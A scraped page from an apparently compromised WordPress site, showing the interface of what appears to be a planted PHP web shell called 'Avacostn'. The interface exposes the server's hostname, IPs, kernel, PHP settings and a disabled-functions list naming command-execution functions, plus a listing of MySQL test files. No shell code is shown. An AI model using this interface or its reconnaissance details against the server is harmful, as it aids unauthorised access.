歡迎使用 WordPress。這是這個網站的第一篇文章,試試為這篇文章進行編輯或直接刪除,然後開始撰寫新文章!
網站第一篇文章
[ Avacostn ] - bankasino.com
System: Linux ip-148-72-247-164.ip.secureserver.net 3.10.0-1160.42.2.el7.x86_64 #1 SMP Tue Sep 7 14:49:57 UTC 2021 x86_64
Hostname: ip-148-72-247-164.ip.secureserver.net | Server Software: Apache
User ID: 1001 | Group ID: 1001 | Username: www
Server IP: 104.21.12.147 | Port: 443 | Your IP: 172.69.214.55
PHP Version: 7.4.33 | [ PHP INFO ] | Safe Mode: OFF | Domains: ??
Disable Functions: passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
DIR~: //www/server/mysql/mysql-test/suite/funcs_1/r
| Type | Name | Size | Permissions | Actions |
|---|---|---|---|---|
| 📄 | charset_collation.result | 1.36 KB | -rw-r--r-- | |
| 📄 | innodb_bitdata.result | 507 B | -rw-r--r-- | |
| 📄 | innodb_cursors.result | 506 B | -rw-r--r-- | |
| 📄 | innodb_func_view.result | 315.86 KB | -rw-r--r-- | |
| 📄 | innodb_storedproc_02.result | 52.15 KB | -rw-r--r-- | |
| 📄 | innodb_storedproc_03.result | 21.11 KB | -rw-r--r-- | |
| 📄 | innodb_storedproc_06.result | 16.92 KB | -rw-r--r-- | |
| 📄 | innodb_storedproc_07.result | 9.41 KB | -rw-r--r-- | |
| 📄 | innodb_storedproc_08.result | 27.81 KB | -rw-r--r-- | |
| 📄 | innodb_storedproc_10.result | 17.5 KB | -rw-r--r-- | |
| 📄 | innodb_trig_0102.result | 24.94 KB | -rw-r--r-- | |
| 📄 | innodb_trig_03.result | 37.7 KB | -rw-r--r-- | |
| 📄 | innodb_trig_03e.result | 67.17 KB | -rw-r--r-- | |
| 📄 | innodb_trig_0407.result | 24.5 KB | -rw-r--r-- | |
| 📄 | innodb_trig_08.result | 31.22 KB | -rw-r--r-- | |
| 📄 | innodb_trig_09.result | 20.6 KB | -rw-r--r-- | |
| 📄 | innodb_trig_1011ext.result | 21.21 KB | -rw-r--r-- | |
| 📄 | innodb_trig_frkey.result | 2.99 KB | -rw-r--r-- | |
| 📄 | innodb_views.result | 632.38 KB | -rw-r--r-- | |
| 📄 | is_basics_mixed.result | 30.9 KB | -rw-r--r-- | |
| 📄 | is_character_sets.result | 4.17 KB | -rw-r--r-- | |
| 📄 | is_cml_innodb.result | 5 KB | -rw-r--r-- | |
| 📄 | is_cml_memory.result | 3.95 KB | -rw-r--r-- | |
| 📄 | is_cml_myisam.result | 5 KB | -rw-r--r-- | |
| 📄 | is_coll_char_set_appl.result | 4.55 KB | -rw-r--r-- | |
| 📄 | is_collations.result | 4.86 KB | -rw-r--r-- | |
| 📄 | is_column_privileges.result | 19.2 KB | -rw-r--r-- | |
| 📄 | is_column_privileges_is_mysql_test.result | 1.44 KB | -rw-r--r-- | |
| 📄 | is_columns_ci.result | 23.89 KB | -rw-r--r-- | |
| 📄 | is_columns_cs.result | 23.81 KB | -rw-r--r-- | |
| 📄 | is_columns_innodb.result | 110.78 KB | -rw-r--r-- | |
| 📄 | is_columns_is_ci.result | 110.56 KB | -rw-r--r-- | |
| 📄 | is_columns_is_cs.result | 110.51 KB | -rw-r--r-- | |
| 📄 | is_columns_memory.result | 107.64 KB | -rw-r--r-- | |
| 📄 | is_columns_myisam.result | 116.3 KB | -rw-r--r-- | |
| 📄 | is_columns_mysql.result | 69.72 KB | -rw-r--r-- | |
| 📄 | is_engines.result | 3.86 KB | -rw-r--r-- | |
| 📄 | is_engines_archive.result | 161 B | -rw-r--r-- | |
| 📄 | is_engines_blackhole.result | 205 B | -rw-r--r-- | |
| 📄 | is_engines_csv.result | 149 B | -rw-r--r-- | |
| 📄 | is_engines_federated.result | 173 B | -rw-r--r-- | |
| 📄 | is_engines_innodb.result | 202 B | -rw-r--r-- | |
| 📄 | is_engines_memory.result | 194 B | -rw-r--r-- | |
| 📄 | is_engines_merge.result | 182 B | -rw-r--r-- | |
| 📄 | is_engines_myisam.result | 158 B | -rw-r--r-- | |
| 📄 | is_events.result | 8.78 KB | -rw-r--r-- | |
| 📄 | is_events_ci.result | 8.83 KB | -rw-r--r-- | |
| 📄 | is_extensions.result | 13.18 KB | -rw-r--r-- | |
| 📄 | is_key_column_usage.result | 38.71 KB | -rw-r--r-- | |
| 📄 | is_key_column_usage_ci.result | 38.85 KB | -rw-r--r-- | |
| 📄 | is_routines.result | 31.74 KB | -rw-r--r-- | |
| 📄 | is_routines_ci.result | 31.79 KB | -rw-r--r-- | |
| 📄 | is_schema_privileges.result | 15.13 KB | -rw-r--r-- | |
| 📄 | is_schema_privileges_is_mysql_test.result | 1.84 KB | -rw-r--r-- | |
| 📄 | is_schemata.result | 9.53 KB | -rw-r--r-- | |
| 📄 | is_schemata_ci.result | 9.58 KB | -rw-r--r-- | |
| 📄 | is_schemata_extensions.result | 7.91 KB | -rw-r--r-- | |
| 📄 | is_schemata_extensions_ci.result | 7.96 KB | -rw-r--r-- | |
| 📄 | is_schemata_extensions_is_mysql_test.result | 1.37 KB | -rw-r--r-- | |
| 📄 | is_schemata_is_mysql_test.result | 1.65 KB | -rw-r--r-- | |
| 📄 | is_statistics_ci.result | 42.21 KB | -rw-r--r-- | |
| 📄 | is_statistics_cs.result | 42.1 KB | -rw-r--r-- | |
| 📄 | is_statistics_is.result | 1.05 KB | -rw-r--r-- | |
| 📄 | is_statistics_mysql.result | 8.7 KB | -rw-r--r-- | |
| 📄 | is_table_constraints.result | 24.63 KB | -rw-r--r-- | |
| 📄 | is_table_constraints_ci.result | 24.74 KB | -rw-r--r-- | |
| 📄 | is_table_constraints_is.result | 968 B | -rw-r--r-- | |
| 📄 | is_table_constraints_mysql.result | 2.85 KB | -rw-r--r-- | |
| 📄 | is_table_privileges.result | 15.08 KB | -rw-r--r-- | |
| 📄 | is_tables.result | 22.88 KB | -rw-r--r-- | |
| 📄 | is_tables_ci.result | 22.96 KB | -rw-r--r-- | |
| 📄 | is_tables_innodb.result | 4.14 KB | -rw-r--r-- | |
| 📄 | is_tables_is.result | 44.96 KB | -rw-r--r-- | |
| 📄 | is_tables_memory.result | 4.13 KB | -rw-r--r-- | |
| 📄 | is_tables_myisam.result | 4.19 KB | -rw-r--r-- | |
| 📄 | is_tables_mysql.result | 18.34 KB | -rw-r--r-- | |
| 📄 | is_triggers.result | 18.4 KB | -rw-r--r-- | |
| 📄 | is_triggers_ci.result | 18.53 KB | -rw-r--r-- | |
| 📄 | is_user_privileges.result | 45.6 KB | -rw-r--r-- | |
| 📄 | is_views.result | 15.51 KB | -rw-r--r-- | |
| 📄 | is_views_ci.result | 15.59 KB | -rw-r--r-- | |
| 📄 | memory_bitdata.result | 558 B | -rw-r--r-- | |
| 📄 | memory_cursors.result | 557 B | -rw-r--r-- | |
| 📄 | memory_func_view.result | 315.91 KB | -rw-r--r-- | |
| 📄 | memory_storedproc_02.result | 52.2 KB | -rw-r--r-- | |
| 📄 | memory_storedproc_03.result | 21.16 KB | -rw-r--r-- | |
| 📄 | memory_storedproc_06.result | 16.96 KB | -rw-r--r-- | |
| 📄 | memory_storedproc_07.result | 9.46 KB | -rw-r--r-- | |
| 📄 | memory_storedproc_08.result | 27.86 KB | -rw-r--r-- | |
| 📄 | memory_storedproc_10.result | 17.54 KB | -rw-r--r-- | |
| 📄 | memory_trig_0102.result | 24.99 KB | -rw-r--r-- | |
| 📄 | memory_trig_03.result | 37.75 KB | -rw-r--r-- | |
| 📄 | memory_trig_03e.result | 65.3 KB | -rw-r--r-- | |
| 📄 | memory_trig_0407.result | 24.55 KB | -rw-r--r-- | |
| 📄 | memory_trig_08.result | 31.27 KB | -rw-r--r-- | |
| 📄 | memory_trig_09.result | 20.65 KB | -rw-r--r-- | |
| 📄 | memory_trig_1011ext.result | 21.27 KB | -rw-r--r-- | |
| 📄 | memory_views.result | 632.41 KB | -rw-r--r-- | |
| 📄 | myisam_bitdata.result | 558 B | -rw-r--r-- | |
| 📄 | myisam_cursors.result | 557 B | -rw-r--r-- | |
| 📄 | myisam_func_view.result | 315.91 KB | -rw-r--r-- | |
| 📄 | myisam_storedproc_02.result | 52.2 KB | -rw-r--r-- | |
| 📄 | myisam_storedproc_03.result | 21.16 KB | -rw-r--r-- | |
| 📄 | myisam_storedproc_06.result | 16.96 KB | -rw-r--r-- | |
| 📄 | myisam_storedproc_07.result | 9.46 KB | -rw-r--r-- | |
| 📄 | myisam_storedproc_08.result | 27.86 KB | -rw-r--r-- | |
| 📄 | myisam_storedproc_10.result | 17.54 KB | -rw-r--r-- | |
| 📄 | myisam_trig_0102.result | 24.99 KB | -rw-r--r-- | |
| 📄 | myisam_trig_03.result | 37.75 KB | -rw-r--r-- | |
| 📄 | myisam_trig_03e.result | 65.3 KB | -rw-r--r-- | |
| 📄 | myisam_trig_0407.result | 24.55 KB | -rw-r--r-- | |
| 📄 | myisam_trig_08.result | 31.27 KB | -rw-r--r-- | |
| 📄 | myisam_trig_09.result | 20.65 KB | -rw-r--r-- | |
| 📄 | myisam_trig_1011ext.result | 21.27 KB | -rw-r--r-- | |
| 📄 | myisam_views-big.result | 714.49 KB | -rw-r--r-- | |
| 📄 | processlist_priv_no_prot.result | 29.98 KB | -rw-r--r-- | |
| 📄 | processlist_priv_ps.result | 29.95 KB | -rw-r--r-- | |
| 📄 | processlist_val_no_prot.result | 92.93 KB | -rw-r--r-- | |
| 📄 | processlist_val_ps.result | 92.94 KB | -rw-r--r-- | |
| 📄 | row_count_func.result | 1.4 KB | -rw-r--r-- | |
| 📄 | storedproc.result | 1022.22 KB | -rw-r--r-- |
© 2025 ✓ By Avacostn.